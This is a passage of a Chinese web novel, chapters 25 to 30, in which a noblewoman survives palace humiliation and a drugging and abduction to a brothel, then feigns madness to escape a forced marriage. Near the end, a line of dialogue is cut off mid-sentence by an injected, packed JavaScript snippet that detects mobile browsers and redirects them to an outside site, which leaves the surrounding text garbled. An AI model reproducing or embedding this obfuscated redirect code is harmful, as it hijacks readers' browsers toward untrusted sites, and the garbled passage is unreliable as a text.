宋绾绾想到明日可以折腾洛清泠，今日早就已经睡下，听到丫鬟来报，担心出了什么差错，匆匆披了衣服起来。 出来一看，果然是赵承宇这厮！ 气得把人一指：“深更半夜你不睡觉，来我这里做什么！还嫌外头的流言不够难听是不是！” 是了。 他怎么把流言给忘了！ 赵承宇阴着脸，嗤笑一声：“所以你就是为了那些流言，派人来打了我？” “什么？”宋绾绾不解道：“就为了一点小事，你就夜闯我郡主府，赵承宇，你疯了是不是！” “快滚！” 宋绾绾说着就要让人将赵承宇带走：“记住，最近别找我！” 赵承宇为了不惊动人，只自己一个人来的，郡主府的婆子一涌上来，他毫无还手之力。 就算想还手，肋骨也疼，腿也疼，哪里抵得过这些粗活儿的，当即就被架起来，要往外丢去。 他指着宋绾绾咬牙切齿道：“好，宋绾绾你有种！你给我等着！” 宋绾绾回到房中仍旧睡下，还是想不通：“那赵承宇来到底干什么来了？” 筠儿上前给她掐被子，道：“郡主，奴婢看那赵承宇，似乎脸上有伤？” “他一个越过质子，在我京城住着，看不惯他的人多的是，”宋绾绾冷笑，“日日那么高调，我请说前几日还当街纵马呢？被人揍了也是活该。” 筠儿一想也是，只是她担心一件事：“郡主，那赵承宇看起来不像是个聪明的，郡主与他合作，只怕要担心被牵扯出来。” “我会怕他？迟早给他撵了去！” 宋绾绾赌气不说话，只睡了。 另一边，赵承宇被丢出郡主府，满身狼狈，旧伤又添新伤，还有婆子大抵认为他是来纠缠宋绾绾的，丢开他时竟下了黑手，趁机在他身上拧了好几下，又趁乱揍了他两拳。 赵承宇有苦说不出，哎哟哎哟地叫家中小厮抬走了。 至次日，他又匆匆起来，往平西王府赶去。 洛清泠今日要进宫，没有小轿来接，只能做平西王吩咐的一顶小马车。 她才上了小马车，从平西王府后门出去，就被一人拦住了去路。 青云看了回说道：“是赵世子。” 洛清泠掀开帘角看了一眼，的确是赵承宇。 只是赵承宇那张过去还算英俊的容颜，现在青青紫紫，眼角还肿了起来。 ……楚砚寒下手这么重？ 她一愣，就见赵承宇行了个礼，对她笑道：“娘子可是要进宫去？” “少胡言乱语！”青云骂道：“谁是你家娘子！” “这不是也快了呢？圣旨都下了，当我娘子的日子还远了不成？” 赵承宇风度翩翩一笑，奈何那张被揍成猪头一样的脸，做出这等表情实在好笑，青云差点没笑场。 “嘴里放干净点！再胡说，我就叫府里侍卫了！” 青云作势预嚷，赵承宇道：“　别叫别叫，我这次过来，又没什么恶意，这么惊动做什么？” 他去看时，洛清泠早已将帘子垂下了，一言不发地坐在轿子里。 “这不是想着娘子要进宫了，想和娘子多待在一起，培养培养感情呢？” 第二十五章 问太后娘娘安 “青云！” 洛清泠喊了一声，青云登时从马车上跳下来，就要转身去拍平西王府的门。 “别别别！” 赵承宇连声含着，就让人去拦着青云。 洛清泠道：“赵承宇，你要找不痛快别来我跟前儿的，我看你这脸都被打成这样了，别是做了什么亏心事，被别人找了麻烦？” “怎么，被人打上瘾了啊？” “你！” 赵承宇低声骂道：“洛清泠你别给脸不要脸！本世子现在来找你，那是看得起你！” “多谢世子抬爱，只是世子这脸多少有碍观瞻，我看了心里不舒服，世子还是请回吧。” 赵承宇还预再说什么，余光却瞥见青云不知怎么，竟然挣脱了他侍卫的包围，泥鳅似的冲到了门边。 “咚咚咚！” “救命啊！有人当街欺负人呐！都欺负到家门口来呐！” 眼见那门就要打开，赵承宇不知为什么觉得自己身上的伤疼得厉害，丢下狠话：“洛清泠，你不要得意！等你嫁给我，有你好受的时候！” 说完匆匆带着侍卫走了。 青云叉着腰见他们走远，才对两门童道了谢，上了马车来。 “走吧，已经耽搁了。” 洛清泠点点头，吩咐道。 青云蹙了蹙鼻尖，低声道：“世子爷那天还是下手太轻了，就该打得这厮起不来床才是！” “青云。” “好嘛好嘛，我不说就是了。” 洛清泠无奈道：“不是不让你说，你尽管说去，只是，这次说的内容，可以改一改了。” “哦？” 洛清泠勾了勾指头：“附耳过来。” 青云听完，喜笑颜开：“还是小姐有法子！青云这就去办！” 马车行了没一会儿，便在一僻静之处停下，短短一停，就又再次上路了。 只是这一次，马车里只剩下了洛清泠一个人。 短短几日，就再次回到慈宁宫，洛清泠心中有些感慨。 一群光鲜亮丽的鼠辈。 日头渐渐升高，前去通传的小丫头却一个都没回，独留洛清泠一个在慈宁宫门口站着，连口茶水都没有。 洛清泠垂眸。 下马威么？ 她正想着，西边一小角门开了，宋绾绾站在门内笑着看她：“这不是楚少夫人么，怎么在门口站着，今日皇祖母礼佛去了，不在慈宁宫呢，你先进来吧。” 洛清泠动了动有些僵硬的腿，从小角门走了进去。 “咚”！的一声。 小门被用力关上。 眼前一个裹着劲风的巴掌就要扇来—— “洛清泠，今日总叫你落到了我手里！” 洛清泠往后退了一步，宋绾绾一巴掌落空，反倒把自己打了个失去平衡，趔趄一步才停下，脸上顿时一阵青白。 “都是死人吗！还不给我按住她！” 一窝蜂的宫女嬷嬷冲上来抓她，洛清泠也不动，任由她们按住。 “躲啊，我看你这次怎么躲！” 宋绾绾狞笑着，卷起袖子，靠近过来。 “郡主，我奉太后娘娘命令，进宫学礼仪宫规，带着一身伤出去，只怕不好。” “稀奇啊洛清泠，你也有怕的时候？”宋绾绾咧嘴，想了想，挥手让那些人松了手：“好，我也不怕告诉你，我就是替皇祖母来教你规矩的。” 她上下打量着洛清泠，道：“我看楚少夫人骨头硬得很呢，这样吧，我们就先从站姿开始练起，苏嬷嬷——” 苏嬷嬷早已准备好，拿来了一金盆的水来，放在洛清泠头上。 “别动，站稳了。” 宋绾绾对这洛清泠扬眉：“先站两个时辰的。” 洛清泠没说话。 宋绾绾已经进屋去了，只留下两个丫头两个嬷嬷盯着她。 四人手中都拿着手指粗的藤条，只要洛清泠敢动一下，就会毫不留情地抽上去。 洛清泠垂下眼皮。 就这？ 过去她习武时，莫说是头顶一盆水，手提两桶也是常有的事，不许动不许颤，颤一下加罚半个时辰。 每次她练得死去活来，最后跟死狗一样下场时，她兄长都会捧着各种药膏来看她。 “苦吗？” 洛清泠一边擦药一边冲她哥笑：“不苦！这算什么！吃这点苦，将来才能在战场上不吃亏！” 兄长……父亲…… 当年，到底发生了什么事情…… 宋绾绾蜷在富贵椅上，往外一看，洛清泠却还顶着个水盆子，在烈日下一动不动，站得笔直。 她咬牙，反手筠儿一把。 都是死人吗！ 这可不是她想要看到的结果！ 筠儿会意，走出房去，对几个丫头嬷嬷使了个眼色，一个嬷嬷发了发狠，抬手就对着洛清泠抽了过来：“楚少夫人左脚退了两寸！” 呼啸的鞭声在耳边炸开，洛清泠猛地一睁眼，身子一侧，右腿抬起，一脚就将那嬷嬷连人带鞭，踩在了脚下。 “嗷！” 只听一声咔嚓声，那嬷嬷的手腕就已经脱了臼，在地上发出惨叫。 洛清泠垂眸看着她，也不言语，那嬷嬷喊叫的气势却逐渐衰弱了下去。 从她被鞭抽到她躲开反将老嬷嬷按在脚下，不过电光火石的功夫。 她身板依旧笔直，头顶满满当当的水都没流出来一滴！ 宋绾绾嘴角的笑意都还没来得及绽开，就匆匆凝固了。 “洛清泠！你好大的胆子！连太后身边的嬷嬷都敢打！” 宋绾绾两眼发亮地冲出来。 这可是洛清泠自己递上来的把柄！ “来人，给我拿下她！本郡主要好好教教她！什么是礼仪！” 还没冲上来，洛清泠却自己取了头顶的金盆，猛地砸在了宋绾绾身上。 被浇了个透心凉，轻薄的衣衫顿时紧紧贴在了身上。 宋绾绾都呆了，好一会儿才反应过来发生了什么：“洛清泠！我杀了你——！” “吵吵嚷嚷什么，老远就听到了，不成体统！” “太后娘娘驾到——” 宋绾绾眼圈一红，接了筠儿递来的衣衫往身上一披，就转头哭道：“皇祖母！” 太后走进院子里来，看见这一地水一地人，还有一个在洛清泠脚下时，眉心瞬间就黑了：“真是反了，反了！还不将这贱蹄子拉开！” 洛清泠整了整衣衫，不等人拉，自己先松开了脚，一板一眼，倒是又规矩又一丝不苟地，对太后行了一礼。 “臣妇见过太后，问太后娘娘安。” 第二十六章 脱身 “洛清泠，你真是好大的胆子！” 太后冷冷地看着她：“绾绾是哀家亲自首肯过来教授你礼仪的，你竟然蔑视皇威，这么羞辱她，与羞辱哀家何异？” “臣妇不敢。”洛清泠垂眸，不卑不亢地站着。 “哀家看你敢得很。” 洛清泠道：“娘娘教导臣妇礼仪，是臣妇的荣幸。只是刚才臣妇见郡主兴冲冲走来，三步并做两步而来，实在是有失沉稳。” “臣妇想着若是今日的事传出去，叫赵世子得知，前来教授臣妇礼仪的郡主行事这般鲁莽，担忧臣妇学了些什么，情急之中想着提醒，竟然忘了臣妇头上的金盆里盛满了水，这才害了郡主变成这般模样。” “的确是臣妇的不对。” 宋绾绾震惊地看着洛清泠。 三言两语，竟然将所有的问题都推到了她身上？ “皇祖母——” 太后觑了她一眼，宋绾绾不由得闭了嘴。 “洛清泠，你这是再拿赵承宇威胁哀家？” “臣妇不敢。” 太后冷笑出声，连着说了三声好：“看样子，哀家是教育不了你了，也罢，哀家看你这模样，也是个榆木疙瘩教不好的，哀家也乏了去教你。” “日后你嫁给赵世子，自求多福吧。” 洛清泠恭敬行礼道：“臣妇不打扰太后娘娘休息，先退下了。” 等洛清泠离开，宋绾绾眼泪汪汪地揪着太后的衣摆：“皇祖母，怎么就让她离开了？” “那你还想怎么样？”太后嘲讽一笑：“你不放了她走，等她今日从这里出去，你拿水盆给她立规矩的事，只怕不日就要传遍整个京城了！” 宋绾绾脸色一变，不好再开口了。 太后看着宫门，眼里闪过一道暗芒。 “敢拿赵承宇来威胁哀家，呵呵，洛清泠，哀家看你还有几分本事。” 洛清泠从慈宁宫出来，动了动自己僵硬的胳膊和脖颈，没走两步，就见一小公公脚步匆匆从花园走过。 她让到一旁，那小公公越过她走了两步，又赶忙倒回来：“楚少夫人留步！” 洛清泠这才看见，这小公公还是个熟人。 “青松公公，有事？” “哎哟楚少夫人，还请您虽杂家走一趟吧！” 那青松公公说着，引着洛清泠来了凤仪宫，洛清泠一进去，就看见了坐在厅上愁眉不展的皇后。 “臣妇见过皇后娘娘，给娘娘问安。” “清泠！” 皇后匆匆下来，拉了洛清泠看，眼里满是疼惜之色：“可有伤到？” “臣妇没事。” 皇后叹了口气，拉着洛清泠在一侧坐了：“都是本宫的错，没能阻止陛下……” “娘娘这么说，倒是折煞臣妇了。” 皇后拍了拍洛清泠的手：“别担心，本宫一定会找准时间好好劝劝陛下，那赵承宇是何人，那越过又是什么地方？你嫁过去，不是嫁入龙潭虎穴是什么？” 看着皇后满脸愁容，洛清泠反过来握住了她的手：“娘娘对臣妇的爱护，臣妇心领了，但这事不是三言两语就可以更改的。” “必须改！”皇后怒道：“你是本宫看着长大的孩子，如今你满门——陛下怎么狠心这样！” 自从洛家军覆灭，母亲给自己换来这门亲事，洛清泠就已经许久没有感受到这么直白的关切了，不由得心中微烫。 她低声道：“娘娘，臣妇不是会吃亏的主，关于这次赐婚，臣妇已经有了办法，还请娘娘宽心。” “本宫知道你是个有主意的。”皇后这才松了口气，替洛清泠别了别头发，不忍道：“这些年，辛苦你了……” 她拉着洛清泠说了些闲话，又叮嘱让洛清泠有事不要自己一个人扛着，尽管来找自己。 洛清泠都一一听着，又委婉劝皇后不要过于冲动，要是惹了皇帝厌弃，那就得不偿失了。 两人说了一回话，直到晌午，皇后又留了洛清泠吃过饭，才放她出宫去。 她派了自己的小轿送洛清泠出宫，大摇大摆，表明洛清泠身后站着的是她皇后，震慑别人别轻举妄动。 洛清泠随皇后去了，等出了宫，又好生谢过了宫人，这才上了平西王府的马车。 青云着急得不得了，拉着洛清泠看来看去：“小姐可有受伤？他们是不是折磨你了？小姐饿不饿？” 洛清泠被问得头晕，连连道：“我没事，我真的没事！” 又将自己去皇后那边说了一遍，青云才松了口气。 “娘娘真是个大好人，和夫人的感情也是真的好……” 就是她自己也有些自顾不暇，不然，有皇后护着，小姐也能好过不少。 “哎哟！” 青云捂着自己的额头，怨怼地看着洛清泠：“小姐你这是做什么？” 洛清泠淡淡收回手：“别乱想。” 青云撅着嘴嘟囔着。 洛清泠看得好笑，便带着她下了马车，在街边走走，买了点小玩意儿哄她。 两人走走停停，不多时，青云就感觉洛清泠的面色变了。 “小姐，怎么了？”她凑近低声问到。 洛清泠摇摇头，只是笑道：“我忘了我银子已经用光了，你回府去找世子，替我借些银子出来。” 别说洛清泠身上还有银子，就算没了，她的银子都是自己出的，怎么可能去找楚砚寒借呢？ 青云下意识要说话，对上洛清泠那双黑沉的眼眸，忽然就明白了什么，忍不住浑身一颤：“小姐，青云不买东西了，咱们一起回去吧？” “买都买了，总不好赊账。” 洛清泠强硬地推了她一把：“去吧，我在那边酒楼等你。” 青云狠狠一点头：“那小姐你别乱跑！我很快就回来！” 说完，转身飞快往平西王府跑去，跑出去两里地，连忙抓了个马车上去：“去平西王府！快！” 青云走后，洛清泠捏了捏手掌。 今日要进宫，她身上什么都没有带，没想到竟然这么寸，就被认盯上了。 她余光往后瞥了一眼，就这么不着痕迹的一眼，已经将周围的情况尽数收紧了眼里。 跟踪她的人……不下十人，而且落脚声轻有力，来人身手不凡。 只是不知道，是谁派来的人。 第二十七章 险境 洛清泠转身预往一药材铺子里去，还没走两步，眼前就被一道魁梧的身影挡住了去路。 “小娘子，要去哪里啊？” 不怀好意的声音入耳，洛清泠面色骤然一寒：“滚开。” “哟！脾气还挺辣！” 洛清泠不打算纠缠，转身就躲，身后却立刻又被另外几人挡住了。 几个大汉身上都散发着不好惹的气息，周围商户和路人全都躲开了些。 “胆子这么大，你们知道我是谁么？” 这几人的功夫比自己想象的还要高，显然是练家子，只不过是伪装成了地痞的模样。 而周围，还有些对方的人，盯着路边的动静，随时准备支援。 洛清泠心中微沉，想拖延时间。 “哈哈，我等自然不知，只是看小娘子长得漂亮，想和娘子交个朋友罢了！” 说着，几人簇拥着洛清泠，推搡之间，将她带去了一处小巷子里。 洛清泠半推半就，一进入院子，就拔下了银钗露出刀锋，趁着对方不注意，连着伤了两人，正准备趁机从一道缺口溜蹿时，面前忽然被撒了一把粉末！ 腥甜的味道猝不及防窜入脑海，洛清泠手中力道一松，软软倒在了地上。 “哼，差点阴沟里翻船……” 洛清泠是被刺鼻的香味冲醒的。 她睁开眼，入眼是一片大红，腻死人的香味不要命地往脑海里钻。 洛清泠甩了甩有些发胀的脑袋，这才辨认出，自己这是在一间装扮得格外韶丽的房间，柜子，桌子，大屏风架子。 她四肢无力地躺在床上，手脚都被捆住，。 门外，是姑娘们的娇笑声和男人们的调笑声。 洛清泠心中一沉。 ——这里是青楼。 有人把她迷昏，带来了青楼！ 她咬牙，从床上爬起来，费力翻下床来，先是打碎了桌上的茶盏，将绳子切开，再摇摇晃晃站起来。 体内的药效还没过，就这么一小点事情，洛清泠做完已是大汗淋漓，气喘吁吁。 她深呼吸一口气，到门边看了看。 门外虽然没人值守，但外头走廊两边都是搂着姑娘的恩客，她若是从这里出去，显然逃不了。 洛清泠又跌跌撞撞推开了窗，窗户外是青楼的后院，院子里冷冷清清没人，正好可以爬下去。 就是眼晕得厉害，洛清泠好几次差点没站稳直接摔下去。 不知道青云有没有顺利回到王府，也不知道楚砚寒在不在王府，会不会来救自己，更不知道自己到底昏过去了多久，他们能不能找到自己…… 洛清泠松手，从房檐上落下，晃了晃，扶着门槛才站稳了身子。 她一抬头，便和一推门出来的人四目相对。 一身水红长裙，身姿丰韵，头上一朵大红簪花，见到洛清泠，眼眸瞬间瞪大：“你你你！” 洛清泠冲过去想要将这人的嘴给捂住，或者直接敲晕，然而她脚下没力，蹿了两下差点一头栽到在地。 与此同时，那人反应过来，立刻大喊起来：“来人呐！姑娘跑了！快来人呐！” 不多时，就冲出来好几个拿着棍棒的大汉，将洛清泠一绑，直接丢进了柴房。 “妈妈，这小娘子要怎么处理？” “哼！不给她点厉害瞧瞧，真当我百花楼是豆腐做的不成？” “哼，这么漂亮的小脸，我可舍不得伤了。” 那水红衣裙的女子撸起袖子，一把捏起洛清泠的脸来：“给我把她吊起来！” 显然，她就是这百花楼的老鸨了。 洛清泠喘着气道：“你们可知、知我是谁，我是……” “我管你是谁，就是天王老子，皇后公主！进了我这百花楼，就别想出去！” “给我绑！” 老鸨一声令下，洛清泠就被架了起来。 有不开眼的想趁机揩油，被老鸨啐了一口：“都给我手脚放干净点！这么细嫩的皮肉，磕坏了影响老娘卖大价钱！” 洛清泠也不言语了，只暗中积蓄力量。 她双手绑在一起，吊在房梁上，唯独脚尖可以触地。 老鸨满意道：“甭管多贞洁的烈女，就没有老娘我收拾不下来的。” 说着就要招呼人从房间里退出去：“你就好好受着吧！” “碰！”一声巨响。 柴房大门被人踹开，那些拿着棍棒的大汉被人一脚一个踹翻在地，老鸨惊疑不定刚要尖叫，就见一把亮晃晃的大刀横在了脖子下。 洛清泠费力抬眼，还没看见人，手上的绳索骤然一松，接着，她落入一个满是香松气息的怀抱。 洛清泠骤然绷起的背脊，缓缓送了下来。 她感受到一双颤抖的手落在背上，将她牢牢禁锢。 “……我来晚了。” “来得正好的。” 洛清泠清吐了口气，不由自主伸出手，抓住了男人的衣服：“来得正好的……” 楚砚寒从没看过洛清泠这般无力的模样，哪怕是那日在宁王府…… 他手上力道再一次加重，将洛清泠完全笼在怀里，许久没听到动静，再看时，发现洛清泠已经再次昏睡过去了。 这些人，肯定下了药！ 楚砚寒脱下外衣，将洛清泠裹好，拦腰抱起就要离开。 “主子，这些人怎么处理？” “……带走。” 找到洛清泠后，楚砚寒的情绪已经稳定了许多。 这些人抓的是洛清泠，理应等洛清泠苏醒之后再自己决定怎么处理。 百花楼后门停着一辆低调的马车，楚砚寒将洛清泠抱进去，着急等待的青云就扑了上来。 “小姐！小姐你怎么样了？” 看见洛清泠昏迷着，眼泪瞬间流了出来：“小姐！” “没事，应当是中了迷药。” 楚砚寒抱着洛清泠，从怀里拿出一个瓷瓶，倒出一枚药丸塞给洛清泠，不过片刻，洛清泠就苏醒了过来。 “多谢世子。”洛清泠眼睛都还没张开完，就先出口道谢。 楚砚寒控制着自己的心跳，将洛清泠安置在旁边，青云立刻上前扶着，让她依偎在了自己怀里。 “小姐你怎么样了？” “我没事，多谢你们了。” 洛清泠再三感谢，长叹一声：“否则我这次是真凶多吉少了。” 第二十八章 真疯了？ “呸呸呸！小姐说什么胡话呢！” 洛清泠感受到自己的力气正在渐渐恢复，便知道应当是楚砚寒做了什么。 她睁眼又想道谢，楚砚寒却直接转开了脸。 洛清泠无奈，便问道：“百花楼的人呢？” “我让墨白带回去了，你随时可以审。” 洛清泠沉吟一瞬，摇摇头：“我心中虽有怀疑的人选，不过，审问这一事，我实在不擅长，还请世子辛苦一趟，替我将幕后之人揪出来。” 楚砚寒直接点头应下。 马车缓缓行动，车厢里一时安静下来。 青云问道：“小姐认为是谁？” “宋绾绾。”洛清泠一边说，一边看着楚砚寒的脸色。 楚砚寒脸色一寒，道：“不论是谁，我必定将这个人查出来，给嫂子出气。” 一想到洛清泠深陷百花楼，楚砚寒就手指冰凉。 那幕后之人是何等险恶的用心，可见一斑。 洛清泠思索一番，却忽然笑了：“我想，这次的事情，未必只是一件坏事。” 楚砚寒看着她嘴角的轻笑，晃了晃神：“嫂子的意思是？” “保密。” 悄无声息地回到平西王府，便有两名大夫来给洛清泠诊脉，确定体内中的迷药已经完全失效，又被楚砚寒盯着开了两剂补药才离开。 青云去抓药，墨白在门外低声喊道：“主子。” 楚砚寒看向洛清泠，洛清泠点点头，他便出去了。 没一会儿，又回来，低声道：“墨白已经审出来了，幕后之人是何琳琅。” “她哪里来的那些人手？”洛清泠看向楚砚寒，将自己遇到的人说了一遍，眼眸深邃：“我和那何琳琅说过好几次，不要被人当了枪使还不知道，看来是真的一点也没有将我的话听进去。” “嫂子打算如何处置？” “既然何琳琅想要我陷入百花楼，身败名裂，那我就让她高兴一回。”洛清泠对楚砚寒笑道：“劳烦世子，等过了子时，就渐渐就替我传些消息出去，说我受了惊吓，神志不清，有些疯癫了。” 洛清泠低声喃喃道：“也不知我变得疯疯癫癫以后，那痴情的赵承宇，是否还愿意娶我。” 折磨一个已经疯掉的女人，不知道越国是否会满意呢。 平西王府突然开始请大夫，城中有名有姓的大夫都请了个遍，大半夜的，楚砚寒仗着自己纨绔的名头，愣是将那些已经休息的大夫从床上挖了起来，送进王府看病。 动静闹得有些大，不到天明，楚少夫人疯癫了的消息就已经传遍了京城。 何琳琅敲开郡主府的大门，一见到宋绾绾，就满面红光，活像是个新婚媳妇一样，对宋绾绾道：“绾绾姐大喜啊！” “何事大喜。” 何琳琅：“洛清泠疯了！这还不是大喜吗？” “疯了？”宋绾绾蹙了蹙眉，冷笑道：“那个女人跟个泥鳅一样滑不丢手的，怎么会突然就疯了？” “真的！城中已经传遍了！” 宋绾绾面上闪过一丝喜意，刚站起来，又慢慢坐了回去。 “呵，指不定又是做局骗我。” 上次洛清泠那个贱人就威胁了她的人，传来些假消息说受伤，让她好吃了一大亏！ “绾绾姐，你就信我嘛，这次可是千真万确的消息！”何琳琅迫不及待解释道：“我在王府中有暗线，都说是真的！王府里连汤药都熬上了，一碗碗往那屋里送呢！” 宋绾绾蓦地抬头看向何琳琅。 何琳琅不解地偏了偏头：“绾绾姐不信我么？” 宋绾绾突然展颜一笑：“我怎么可能不信你呢？只是担心洛清泠那狡猾的狐狸骗了你罢了，既然你说是真的，那肯定就是真的了。” 何琳琅这才笑了，邀功似的将自己昨日的事情说了一遍，被宋绾绾半是说教半是赞赏的夸了一顿，才兴高采烈地离开。 何琳琅一走，宋绾绾就让筠儿去赵承宇那儿告知消息。 赵承宇一早就听到了消息，只关起门来不信，被筠儿说了一顿，沉默了半晌，反问道：“你们郡主信了？就不怕是洛清泠的诡计？” “就算是诡计，说自己疯了，能有什么好处？”筠儿翻了个白眼：“我家主子说了，让世子爷趁着洛清泠疯癫无法反抗，抓紧时间尽快将人娶走，免得夜长梦多。” 的确，疯癫的洛清泠比清醒的洛清泠更好解决。 就是……这件事怎么看怎么觉得有诈。 筠儿离开后，赵承宇立刻换了身衣服，去了平西王府。 一进门，就闻到了好大一股的药味，心中已信了三分，加上府中上下奴仆，全都神色匆匆，焦急万分，这三分信已不自觉变作了五分。 来到东苑，便见到楚砚寒站在院门口，神色凝重。 赵承宇上前道：“楚世子，别来无恙啊。” 楚砚寒只瞥了他一眼，就转开了视线：“你来做什么？” “这不是听说我娘子病了么，特来探望——” “谁是你娘子！嘴巴放干净点！” 楚砚寒呵斥一声，随后脸色难看道：“一点小病，不劳赵世子大驾，还请世子回去吧。” “我来都来了，好歹探望一番。” 赵承宇也不介意楚砚寒的呵斥，反正等到他和洛清泠成了婚，楚砚寒就是想要说两句也没了立场。 不过是将死之人的咆哮罢了。 他说着，就要往院子里探头，正好看见一道人影出来，当即眼睛一亮，挥手喊道：“清泠！” 洛清泠瞬间转头看来。 赵承宇看着楚砚寒：“楚世子，还请放行？” 楚砚寒冷冷看着他，到底放了手，容他进院子。 赵承宇面色带笑，其实心中也有些游移不定。 洛清泠看着挺正常的，能走能跳的，又没有外伤看着面色也红润，不像有内伤。 真疯了？ 他脚步顿了一下，故意走到洛清泠面前，下流地喊了一声：“娘子？” 洛清泠只是直勾勾地看着他。 赵承宇心中涌上一股不可置信。 ……难道真疯了？ 接着就是一阵狂喜，洛清泠疯了！他若是此时还坚定要娶她，皇帝必然拍着手欢迎，还要说他一声用情至深！ 不对，洛清泠这人狡诈，只是浅浅试探，未必能试探出真假。 他正准备再下一剂猛药，却忽然传来一道香风。 接着—— “啪！” 一声清脆的巴掌声在院子里响起！ 这一巴掌好不留手，赵承宇直接就被打蒙了！ “你！” 洛清泠指着他：“你是狗！不可以说人话！” 第二十九章 真疯了！ “你说什么！” 赵承宇勃然大怒，指着洛清泠，嘴唇颤抖好一会儿没能说出话来。 “世子见谅！我家小姐受了惊吓，现在有些，有些不认人，还请世子见谅！” 青云从屋里跑出来，将洛清泠护在身后，一边给赵承宇赔罪。 她看着赵承宇脸上那迅速涨红的巴掌，垂下了头，强迫自己不要笑出声。 赵承宇吃了个闷亏，又有些怀疑洛清泠是趁机打他出气，但又不得不抽着嘴角，装作不在意地摆手：“无妨无妨。” “清泠这是怎么了？” 说着，就见洛清泠再次扬起了巴掌。 洛清泠还想打他！ 他悚然一惊，直接退了两步，谁承想洛清泠竟然不管不顾，直接扑了上来，扬手就揍。 “你不许说人话！你不许说人话！” 一边揍他一边喊。 洛清泠也不知道是吃什么长大的，看着清瘦，实际上手劲贼大！ 就这么两下，赵承宇就有些受不住了。 青云尖叫一声，也扑上来就拽：“小姐！小姐你冷静一点！大夫——大夫——” 院子里顿时鸡飞狗跳，最后还是楚砚寒出手，将洛清泠拽了起来。 不过他也没落什么好，被洛清泠一顿连环掌拍得啪啪作响。 楚砚寒将赵承宇拉到一边，青云则是哄着洛清泠进屋，洛清泠不听，在院子里溜达，一路似乎还在碎碎念着什么。 赵承宇惊魂未定，捂着脑门：“到底怎么回事！” 楚砚寒冷眼看着他：“今日的事，还希望赵世子烂在肚子里，嫂子只是生病了，现已有大夫医治，不过两日，一定能好。” 还要他烂在肚子里做什么！ 外面都已经传遍了！ 赵承宇无声呐喊。 但一想，楚砚寒不过是个纨绔罢了，现在府中有个养病的王爷，一个疯了的洛清泠，想来已经够他头疼的了，行事肯定多有纰漏，关注不到外面的情况也是正常的。 赵承宇又看了一眼洛清泠，对上洛清泠凶恶的视线，忍不住打了个颤。 以他对洛清泠的了解，这人从来一副孤高清傲的模样，像刚才那样毫无理智扑上来**的事情……理智尚存的洛清泠估计是做不到的。 何况她也不只是打他，还打楚砚寒呢，连大夫过去都要被她胖揍一顿，只有青云和几个侍女能近身。 ……大概是真被刺激到疯了。 但也没人说一个疯子能有这么大的蛮力这么高的武力啊！ 赵承宇头疼不已，对楚砚寒拱手道：“楚世子的担心在下明白，清冷这般模样，我心里也难受，还请楚兄照顾好清泠，一定要治好他，在下也关注着，若是有名医，一定请来！” 一边说就一边告辞了。 若是洛清泠真疯成这样……那他还娶不娶她了？ 青云扶着洛清泠进了屋，一坐下，就忍不住大笑起来：“痛快！” “要是早知道装疯能将那赵承宇这么狠狠打一顿，小姐就应该早点装疯来的！” “我真是看了他就讨厌！” 青云说着，一边抹了抹眼角的笑泪：“可是小姐，您怎么连世子也打呀？” 洛清泠还没回答，门外传来一声笑道：“做戏做全套嘛。” 洛清泠对他道：“对不住，我那几下也是真没收力气，世子可有受伤？” “不碍事。”楚砚寒轻咳一声。 洛清泠又问了两遍才放心，她对青云道：“替我给娘娘传个话——就说，赵承宇嫌弃我是个疯子，不想娶了。” 青云也没有多问，行了个礼出去了。 不多时，消息就已经被云福公公带着，传到了皇帝耳朵里。 “洛小姐受了惊吓，神志不清，将前去探病的赵世子打了一顿，不少人看见赵世子黑着脸离开平西王府。” 皇帝皱着眉：“好好儿的，能受什么惊吓？别是不想成婚的把戏。” 云福公公低声道：“据说是被撸去了青楼呆了一阵，是楚世子亲自救的人。” 闻言，皇帝搁下了朱笔。 好半晌，他才冷笑一声：“洛清泠虽是在闺中长大，但怎么也是洛家人，一个小小青楼就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687571|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把人吓疯？” “云福，去传太医。”皇帝看着云福公公，眼中神色模辩：“既然疯了，那就好好治治。” ＊ 和宫里的太医一起来的，还有宋绾绾。 楚砚寒在门口迎了人，负手而立，对身后人使了个手势，便有人悄无声息潜进了东苑，敲响了门。 三声敲门声后—— “太医和宋绾绾一起来了。” 青云去看时，门口已经没有人了。 她回头，有些担忧地看着洛清泠：“小姐，太医好打发，但这宋绾绾可不好打发。” 这宋绾绾三番两次找她小姐的麻烦，每一次都是奔着弄死小姐去的，这个时候和太医一起上门，肯定没按好心。 “别担心。” 洛清泠安抚了一声：“照常做就是了。” 她说着，就翻身上了床，滚到了床里头去。 没一会儿，宋绾绾就和众太医出现在了院子里。 青云拦了一下，道：“我家小姐正在休息，还请诸位晚些时候再来吧。” 宋绾绾笑道：“我知道少夫人身上不好，所以特带了人来给少夫人看病。” “多谢郡主好心，世子已经为我家小姐请了大夫了——” “外面的大夫哪里有宫中的太医医术好，还是让太医们看看吧。” 宋绾绾打断道。 筠儿会意，便上前钳制住青云，宋绾绾带着人走进了里屋。 宋绾绾听说皇帝打算让人来探探洛清泠的虚实，便去求了太后，才在皇帝跟前谋下了这份差事，是立下了军令状，一定能探明洛清泠到底疯没疯的。 若是洛清泠真疯了也就罢了，若是没疯，她就让洛清泠彻底疯了！ 屋子里东西很乱，像是被人洗劫过一般，他们来的时候，青云也许正在收拾，收拾了一半的盒子都还摆在那儿。 洛清泠躺在床上，隔着屏风，似乎正在睡觉。 青云推开筠儿，气冲冲跑进来，压着声音道：“都说了我家小姐在睡觉了！诸位大人若是要看病，等我家小姐睡醒了起来看的吧。” 第三十章 请世子做主 “无妨，这位张太医，最会悬丝诊脉了。” 宋绾绾拦了一下，身旁一个圆脸胖太医就拱了拱手道：“一点小小的技巧罢了。” 话说到这个份儿上了，青云也就不好阻拦，只按照那张太医的吩咐，将悬丝栓在了洛清泠的手腕上。 宋绾绾走进屏风里看着，确定青云没有动手脚才点点头。 青云弄完，对那张太医道：“还请太医好好给我家小姐看看，若是真能……早点治好，也是好事。” “老夫必当全力以赴。” 